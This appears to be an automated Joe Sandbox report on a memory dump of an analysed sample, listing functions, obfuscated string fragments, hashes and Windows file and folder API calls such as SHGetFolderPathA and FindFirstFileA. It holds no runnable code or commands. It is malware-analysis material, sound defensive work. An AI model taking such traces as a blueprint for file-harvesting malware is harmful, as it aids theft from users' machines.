4oST, xrefs: 008972FD
4oST, xrefs: 008A2959
wWs, xrefs: 00891E24
4oST, xrefs: 008A0F1D
4oST, xrefs: 0089791E
4oST, xrefs: 008A0789
4oST, xrefs: 008888EA
4oST, xrefs: 00890DD5
4oST, xrefs: 00899026
4oST, xrefs: 00891D43
Q z, xrefs: 0088C25D
wWs, xrefs: 008A05F8
#iR@, xrefs: 00898320
4oST, xrefs: 0089DBDC
&I, xrefs: 00899F50
4oST, xrefs: 008A2527
4oST, xrefs: 008973DD
4oST, xrefs: 0089DF50
P081, xrefs: 008A1101
4oST, xrefs: 0089A70F
cannot use push_back() with , xrefs: 0088E46B, 0088E6E3, 00890717, 00890908, 00895646, 008957DE, 0089B379, 0089B3D0, 0089B424, 0089D1D3, 0089D3AB, 0089F089, 0089F230, 008A330A
4oST, xrefs: 00895385
4oST, xrefs: 00894B47
&I, xrefs: 008A1C4A
4oST, xrefs: 0089E7A6
4oST, xrefs: 00895AD6
4oST, xrefs: 0089A538
4oST, xrefs: 0089C5A1
4oST, xrefs: 00892EF1
4oST, xrefs: 00896BA7
&I, xrefs: 0088FB82
4oST, xrefs: 008A2FDD
x<, xrefs: 0088FAFC
4oST, xrefs: 0089C146
4oST, xrefs: 008A00FC
4oST, xrefs: 0089465C
4oST, xrefs: 0088DFAB
4oST, xrefs: 0089C198
4oST, xrefs: 008967D6
4oST, xrefs: 00899F9C
4oST, xrefs: 0088E22E
4oST, xrefs: 0089989D
4oST, xrefs: 00890E27
4oST, xrefs: 008A073D
4oST, xrefs: 008A2149
4oST, xrefs: 008A14B7
x<, xrefs: 0089A0DA
4oST, xrefs: 00889542
v}{, xrefs: 0089379F
4oST, xrefs: 008A1A86
^W`, xrefs: 0089763D
4oST, xrefs: 0088B120
4oST, xrefs: 00892C1D
4oST, xrefs: 00890C48
4oST, xrefs: 00897508
4oST, xrefs: 00888619
4oST, xrefs: 008953D1
XFv, xrefs: 0089B0F9
#iR@, xrefs: 0089A0D0
4oST, xrefs: 00893D73
4oST, xrefs: 0089F576
YX~, xrefs: 008995BD
4oST, xrefs: 0089D002
4oST, xrefs: 0089D696
4oST, xrefs: 00889693
MXg, xrefs: 008950CE
4oST, xrefs: 0088E53E
&I, xrefs: 0089A154
UWy, xrefs: 0089ABF5
4oST, xrefs: 00897CA5
UYw, xrefs: 0089A29A
UP~, xrefs: 00893381
Q z, xrefs: 008A0473
4oST, xrefs: 008A0969
4oST, xrefs: 00899078
4oST, xrefs: 0089AC21
l$r-, xrefs: 00899ECC
KGa, xrefs: 008A2DB1
4oST, xrefs: 0089A312
V!T, xrefs: 008992D2
4oST, xrefs: 008935B1
UYw, xrefs: 00898628
0aVM, xrefs: 008A1A18
4oST, xrefs: 00892859
4oST, xrefs: 00899690
4oST, xrefs: 008966A9
4oST, xrefs: 00890D48
wWs, xrefs: 00892129
4oST, xrefs: 0089A9D8
#iR@, xrefs: 008A1BBA
MXg, xrefs: 0089EA0D
4oST, xrefs: 0089DBA8
4oST, xrefs: 008A15EC
FoST, xrefs: 0089A98C
x<, xrefs: 0089832A
v}{, xrefs: 008983DA
4oST, xrefs: 00890CFC
4oST, xrefs: 008A0673
4oST, xrefs: 008A2BA9
v}{, xrefs: 0088FBB2
4oST, xrefs: 008A2DDD
4oST, xrefs: 008A29A5
4oST, xrefs: 008905B7
4oST, xrefs: 008975E4
4oST, xrefs: 008955DA
WS{, xrefs: 008A2B7D
4oST, xrefs: 008A26C3
4oST, xrefs: 008A107A
4oST, xrefs: 0088B16C
4oST, xrefs: 00894B99
4oST, xrefs: 008A0517
Q z, xrefs: 00891C9F
&\U, xrefs: 0088909E
4oST, xrefs: 008A0A26
4oST, xrefs: 0089AC6D
4oST, xrefs: 0088AFB5
4oST, xrefs: 0088852A
4oST, xrefs: 00899324
4oST, xrefs: 008A1153
4oST, xrefs: 0088F38F
4oST, xrefs: 00896657
#iR@, xrefs: 008936E5
l$r,, xrefs: 008A1906
4oST, xrefs: 0089AEFC
4oST, xrefs: 008A219B
HWg, xrefs: 0089438A
4oST, xrefs: 008A206C
4oST, xrefs: 0089A75B
4oST, xrefs: 0088DE7C
4oST, xrefs: 00897072
4oST, xrefs: 00893BEB
4oST, xrefs: 008A2E29
wWs, xrefs: 008A08F1
4oST, xrefs: 008A0280
P081, xrefs: 008A12B6
4oST, xrefs: 00897592
4oST, xrefs: 00892F8C
4oST, xrefs: 00892C69
4oST, xrefs: 00896F3A
4oST, xrefs: 00898F9B
4oST, xrefs: 00891FB5
4oST, xrefs: 00890086
4oST, xrefs: 0089734F
4oST, xrefs: 0088DECE
4oST, xrefs: 0089DE6D
4oST, xrefs: 0089C27B
4oST, xrefs: 00893DBF
4oST, xrefs: 008A2F91
4oST, xrefs: 00894019
4oST, xrefs: 008A122F
4oST, xrefs: 00898BDC
HFd, xrefs: 0088DA41
GG), xrefs: 008A18B8
4oST, xrefs: 00892A0E
4oST, xrefs: 00892EA5
4oST, xrefs: 008994B0
4oST, xrefs: 008A0B5E
4oST, xrefs: 0089945E
4oST, xrefs: 00897CF1
_C|, xrefs: 0089CF2C
4oST, xrefs: 008900D2
4oST, xrefs: 00894065
4oST, xrefs: 008A2677
4oST, xrefs: 008A24DB
\oST, xrefs: 0089A4EC
4oST, xrefs: 008A2BF5
4oST, xrefs: 008A0BAA
^W`, xrefs: 008A10D3
WGf, xrefs: 0089A960
4oST, xrefs: 0089B12B
4oST, xrefs: 008A1308
4oST, xrefs: 0089F5C2
4oST, xrefs: 0089311A
4oST, xrefs: 008A014E
4oST, xrefs: 00892FDE
^W`, xrefs: 008A1288
4oST, xrefs: 008928E3
4oST, xrefs: 008A11DD
4oST, xrefs: 008A0234
4oST, xrefs: 0089191D
4oST, xrefs: 0088DF59
4oST, xrefs: 008A15A0
x<, xrefs: 008A1BC4
4oST, xrefs: 00894C76
4oST, xrefs: 00898F49
v}{, xrefs: 008A1C7A
4oST, xrefs: 0089EF35
4oST, xrefs: 0089C2C7
4oST, xrefs: 0089E4AD
4oST, xrefs: 0089678A
4oST, xrefs: 008A1028
4oST, xrefs: 00899BAB
XFv, xrefs: 008992A6
4oST, xrefs: 0089196F
cannot use operator[] with a string argument with , xrefs: 0088E8A5, 0088E8DD, 0088E930, 0088E965, 0088E99C, 00890872, 008908B0, 00890965, 008957A4, 0089583D, 0089B31D, 0089B484, 0089B4D9, 0089B52E, 0089B589, 0089B5DE, 0089B633, 0089B688, 0089B6DD, 0089B732, 0089D315, 0089D353, 0089D408, 0089F19A, 0089F1D8, 0089F28D, 008A3298, 008A32D0, 008A3362
4oST, xrefs: 00888A68
X[y, xrefs: 00895556
4oST, xrefs: 008A0ED1
4oST, xrefs: 0088E27A
4oST, xrefs: 008A0A78
4oST, xrefs: 0089D535
UWy, xrefs: 00899871
P081, xrefs: 008929BC
4oST, xrefs: 0089FFF8
4oST, xrefs: 00894849
4oST, xrefs: 0089E283
4oST, xrefs: 008A20BE
4oST, xrefs: 00896C71
P081, xrefs: 0089766B
4oST, xrefs: 00897B6A
4oST, xrefs: 008A1465
4oST, xrefs: 0089AF48
WS{, xrefs: 008A2F65
Q z, xrefs: 008969A7

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: FileFindFirst
String ID: #iR@$#iR@$#iR@$#iR@$&\U$&I$&I$&I$&I$0aVM$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$FoST$GG)$HFd$HWg$KGa$MXg$MXg$P081$P081$P081$P081$Q z$Q z$Q z$Q z$UP~$UWy$UWy$UYw$UYw$V!T$WGf$WS{$WS{$XFv$XFv$X[y$YX~$\oST$^W`$^W`$^W`$_C|$cannot use operator[] with a string argument with $cannot use push_back() with $l$r,$l$r-$v}{$v}{$v}{$v}{$wWs$wWs$wWs$wWs$x<$x<$x<$x<
API String ID: 1974802433-3165033430
Opcode ID: 0969db3039299a5d705aea9891ff9b66bc0fa05ba13665e3e3d3a2eb38079180
Instruction ID: 46ef1a473d79fb2abca86570b9f8bb15d4757decf80e910a5a686bc1e6a0fb26
Opcode Fuzzy Hash: 0969db3039299a5d705aea9891ff9b66bc0fa05ba13665e3e3d3a2eb38079180
Instruction Fuzzy Hash: 67B410B0D052A9CBDB25CF68C994BEEBBB1BF48304F1481D9D449A7282DB346B85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0087CBF0 Relevance: 170.7, Strings: 134, Instructions: 3175COMMON

Download Yara Rule

Strings

4oST, xrefs: 0087F38D
4oST, xrefs: 0087DC9A
4oST, xrefs: 00880D70
*ct, xrefs: 0087E9D6
4oST, xrefs: 00880B94
4oST, xrefs: 0087DED5
VoST, xrefs: 00880A4E
4oST, xrefs: 0087FBB6
4oST, xrefs: 0087D21C
4oST, xrefs: 0087F5C2
4oST, xrefs: 0087F03B
4oST, xrefs: 00880608
g[u, xrefs: 0087D198
4oST, xrefs: 0087EBE6
4oST, xrefs: 0087E05E
VoST, xrefs: 008806CD
PM&, xrefs: 00880272
4oST, xrefs: 0087DA28
4oST, xrefs: 0087E61F
4oST, xrefs: 0088071F
4oST, xrefs: 008800CA
WS{, xrefs: 0087F0AC
4oST, xrefs: 0087EC6F
4oST, xrefs: 0087EEDE
WS{, xrefs: 0087E681
4oST, xrefs: 0087FD8D
4oST, xrefs: 0087F476
k,6&, xrefs: 0087F6AA
4oST, xrefs: 0087CDC3
4oST, xrefs: 0087CF85
gQk, xrefs: 0087FE41
4oST, xrefs: 0087FC02
cannot use push_back() with , xrefs: 00881038
4oST, xrefs: 0087D0B3
KGa, xrefs: 0087E032
4oST, xrefs: 0087EFE9
4oST, xrefs: 0087ED58
4oST, xrefs: 0087CE7D
WS{, xrefs: 0087E5A1
XFf, xrefs: 008807B0
4oST, xrefs: 008803B1
4oST, xrefs: 0087D2FA
4oST, xrefs: 0087FDDF
4oST, xrefs: 008802F2
WS{, xrefs: 0087DE5D
4oST, xrefs: 0087E6FF
4oST, xrefs: 0087ECC1
VoST, xrefs: 00880E31
WS{, xrefs: 0087E1EA
gQk, xrefs: 00880163
4oST, xrefs: 00880D24
gQ`, xrefs: 008808BF
gQk, xrefs: 0087FF9B
SGf, xrefs: 0087EC3E
4oST, xrefs: 0087E0AA
4oST, xrefs: 00880403
4oST, xrefs: 0087EDA4
gQk, xrefs: 0087FA87
4oST, xrefs: 008801E1
4oST, xrefs: 0087FABC
4oST, xrefs: 0087D68A
4oST, xrefs: 0087CFD8
4oST, xrefs: 00880654
4oST, xrefs: 0087DC4E
XFf, xrefs: 00880CF0
gQ`, xrefs: 00880A19
KGa, xrefs: 0087F44A
4oST, xrefs: 0087F8A7
k@z, xrefs: 0087CF59
P: 1, xrefs: 0087EE3A
4oST, xrefs: 0087FCCD
gQ`, xrefs: 00880BE1
4oST, xrefs: 0087FC7B
4oST, xrefs: 0087D067
4oST, xrefs: 0087F4C8
4oST, xrefs: 00880E83
4oST, xrefs: 0087FFD0
4oST, xrefs: 0087E262
PM!, xrefs: 0087FD5E
4oST, xrefs: 0087DE89
^W`, xrefs: 0087F1AC
4oST, xrefs: 0087E938
4oST, xrefs: 0087F0D8
4oST, xrefs: 0087E85C
^W`, xrefs: 0087EE0E
4oST, xrefs: 00880116
4oST, xrefs: 00880B48
*ct, xrefs: 0087E8F6
4oST, xrefs: 0087E80A
4oST, xrefs: 0087F972
4oST, xrefs: 0087F27C
4oST, xrefs: 00880C5F
4oST, xrefs: 0087E216
4oST, xrefs: 0087CECF
4oST, xrefs: 0087FB0E
cannot use operator[] with a string argument with , xrefs: 00881091, 008810E6
4oST, xrefs: 0087FEC5
gQk, xrefs: 0088037F
4oST, xrefs: 00880AA0
4oST, xrefs: 0087F920
4oST, xrefs: 0087F6FC
VoST, xrefs: 00880C0D
gQ`, xrefs: 00880DFF
4oST, xrefs: 0088018F
4oST, xrefs: 0087E5CD
4oST, xrefs: 0087E6AD
4oST, xrefs: 0087FE73
4oST, xrefs: 00880560
4oST, xrefs: 0087EB9A
VoST, xrefs: 008808F1
4oST, xrefs: 00880830
x<, xrefs: 0087D7CE
4oST, xrefs: 0087F576
4oST, xrefs: 0087D2A8
#iR@, xrefs: 0087D7C4
WS{, xrefs: 0087F54A
gQ`, xrefs: 008806A1
*ct, xrefs: 0087EABB
4oST, xrefs: 0087EA1E
4oST, xrefs: 008807E4
4oST, xrefs: 0087F85B
4oST, xrefs: 00880943
P?2', xrefs: 0087F1D8
gQk, xrefs: 0087FC4F
gQ`, xrefs: 008804D9
VoST, xrefs: 0088050E
4oST, xrefs: 0087D9DC
4oST, xrefs: 00880022
4oST, xrefs: 008802A6
3gX, xrefs: 0087D1A8
4oST, xrefs: 0087F12A
4oST, xrefs: 0087EB03
4oST, xrefs: 0087D3E5
4oST, xrefs: 0087F3D9

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: AttributesFile
String ID: #iR@$3gX$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$KGa$KGa$P: 1$P?2'$PM!$PM&$SGf$VoST$VoST$VoST$VoST$VoST$VoST$WS{$WS{$WS{$WS{$WS{$WS{$XFf$XFf$^W`$^W`$cannot use operator[] with a string argument with $cannot use push_back() with $gQ`$gQ`$gQ`$gQ`$gQ`$gQ`$gQk$gQk$gQk$gQk$gQk$gQk$g[u$k,6&$k@z$*ct$*ct$*ct$x<
API String ID: 3188754299-1554121391
Opcode ID: c5f73c54136242247460ad87c7b013862a55039b487c3ffb053002571195a9c8
Instruction ID: 3853bd039c5862363c513ccf2223006bdc7b658122fe9ff1e8b6f0fc6f863584
Opcode Fuzzy Hash: c5f73c54136242247460ad87c7b013862a55039b487c3ffb053002571195a9c8
Instruction Fuzzy Hash: 1793DCB4D056A88BDB65CF18C990BEDBBB1BF48304F1081DAE94DA7241DB346B85CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0085F730 Relevance: 103.7, APIs: 6, Strings: 52, Instructions: 2203COMMON

Download Yara Rule

APIs

Part of subcall function 008C4050: GetFileAttributesA.KERNELBASE(?,?,?,00840224), ref: 008C40AC

SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?), ref: 008602CB
SHGetFolderPathA.SHELL32(00000000,00000005,00000000,00000000,?,?,?,?,?,?,?,?), ref: 008605C7
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 008608C5
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00860F53
SHGetFolderPathA.SHELL32(00000000,00000008,00000000,00000000,?), ref: 00861257
Concurrency::cancel_current_task.LIBCPMT ref: 00862001

Strings

4oST, xrefs: 008619DF
4oST, xrefs: 0085F988
4oST, xrefs: 0086167B
4oST, xrefs: 0086101B
`<vT, xrefs: 0086063F
4oST, xrefs: 008622BE
4oST, xrefs: 0085F8A3
X0 , xrefs: 0085FC98
4oST, xrefs: 0086068B
4oST, xrefs: 00861A2B
cannot compare iterators of different containers, xrefs: 00861FBD
4oST, xrefs: 0086151C
4oST, xrefs: 0086181A
4oST, xrefs: 0086021B
4oST, xrefs: 008627CB
type must be boolean, but is , xrefs: 00862027
4oST, xrefs: 0085FD3C
cannot get value, xrefs: 00861F7E, 008620B8
4oST, xrefs: 00860CED
4oST, xrefs: 00862310
4oST, xrefs: 0085FE47
type must be string, but is , xrefs: 0086207B
`<vT, xrefs: 008604D6
4oST, xrefs: 00861568
4oST, xrefs: 00860B79
4oST, xrefs: 0086098B
4oST, xrefs: 00860EA8
4oST, xrefs: 008618D0
4oST, xrefs: 008612CF
Q086, xrefs: 0085FAFD
4oST, xrefs: 0086038F
4oST, xrefs: 0086241F
4oST, xrefs: 008617CE
4oST, xrefs: 008623D3
4oST, xrefs: 008630E0
4oST, xrefs: 00862817
4oST, xrefs: 008629AF
4oST, xrefs: 00861166
4oST, xrefs: 0085FB4F
4oST, xrefs: 0085FA6D
4oST, xrefs: 0086131B
4oST, xrefs: 00862BE8
4oST, xrefs: 0086191C
4oST, xrefs: 00862963
4oST, xrefs: 00862B9C
P!T, xrefs: 0085FA1B
4oST, xrefs: 0086081A
4oST, xrefs: 0086312C
4oST, xrefs: 008611B2
4oST, xrefs: 0085FE93
4oST, xrefs: 00860522
4oST, xrefs: 0086162F

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: FolderPath$AttributesConcurrency::cancel_current_taskFile
String ID: 4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$P!T$Q086$X0 $`<vT$`<vT$cannot compare iterators of different containers$cannot get value$type must be boolean, but is $type must be string, but is
API String ID: 3713541779-3377599526
Opcode ID: 372fbba53ff11e894401527d9e52d7cd3ce58c4970ee62a55ac9d090eec853d3
Instruction ID: 0e0325d2a9c9d0c52fc13b75b42ea48cd9cc75bb3d9291f83cf090e33178abdb
Opcode Fuzzy Hash: 372fbba53ff11e894401527d9e52d7cd3ce58c4970ee62a55ac9d090eec853d3
Instruction Fuzzy Hash: B94301B0D05268CBDB25CF24C894BEEBBB5BF48304F1482D9D949A7282DB356B85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 007EB8E0 Relevance: 70.6, APIs: 20, Strings: 17, Instructions: 5868COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EBA08
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EBAD2
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EC575
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007ED6F8
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EDF3C
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EFC55
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EFEF1
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007F0F12
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007F1904
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007F1E6E
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007F1FBE
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EF933

Part of subcall function 008C3B20: RemoveDirectoryA.KERNELBASE(?), ref: 008C3EBB
Part of subcall function 008C3B20: std::_Throw_Cpp_error.LIBCPMT ref: 008C3F97
Part of subcall function 008C3B20: std::_Throw_Cpp_error.LIBCPMT ref: 008C3FA8

Part of subcall function 008C4050: std::_Throw_Cpp_error.LIBCPMT ref: 008C40FF
Part of subcall function 008C4050: std::_Throw_Cpp_error.LIBCPMT ref: 008C4110

CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EE6FA

Part of subcall function 008A33B0: FindFirstFileA.KERNELBASE(00000000,?,00000000), ref: 008A34EF

CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EDAD7

Part of subcall function 008C3B20: FindNextFileA.KERNELBASE(?,00000010), ref: 008C3E68
Part of subcall function 008C3B20: SetFileAttributesA.KERNELBASE(?,00000080), ref: 008C3E9D

CreateDirectoryA.KERNELBASE(?,00000000), ref: 007ED29A

Part of subcall function 008C3B20: FindFirstFileA.KERNELBASE(00000000,?,009664F8,?,?,?,\*.*,00000004), ref: 008C3C95

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 007EBB07

Part of subcall function 008C4050: GetFileAttributesA.KERNELBASE(?,?,?,00840224), ref: 008C40AC

CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EBD08
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 007EBD37
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EC0CC
CreateDirectoryA.KERNELBASE(?,00000000), ref: 007EC196

Strings

4oST, xrefs: 007EE300
4oST, xrefs: 007EE34C
4oST, xrefs: 007F14EC
4oST, xrefs: 007F12C8
4oST, xrefs: 007EE1F8
4oST, xrefs: 007F127C
4oST, xrefs: 007EE040
4oST, xrefs: 007F1016
4oST, xrefs: 007F2177
4oST, xrefs: 007F13DC
4oST, xrefs: 007F1390
4oST, xrefs: 007F14A0
.eN, xrefs: 007EDF4F
<`L, xrefs: 007F0D0A
4oST, xrefs: 007EE244
4oST, xrefs: 007F15AE
4oST, xrefs: 007EE414

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
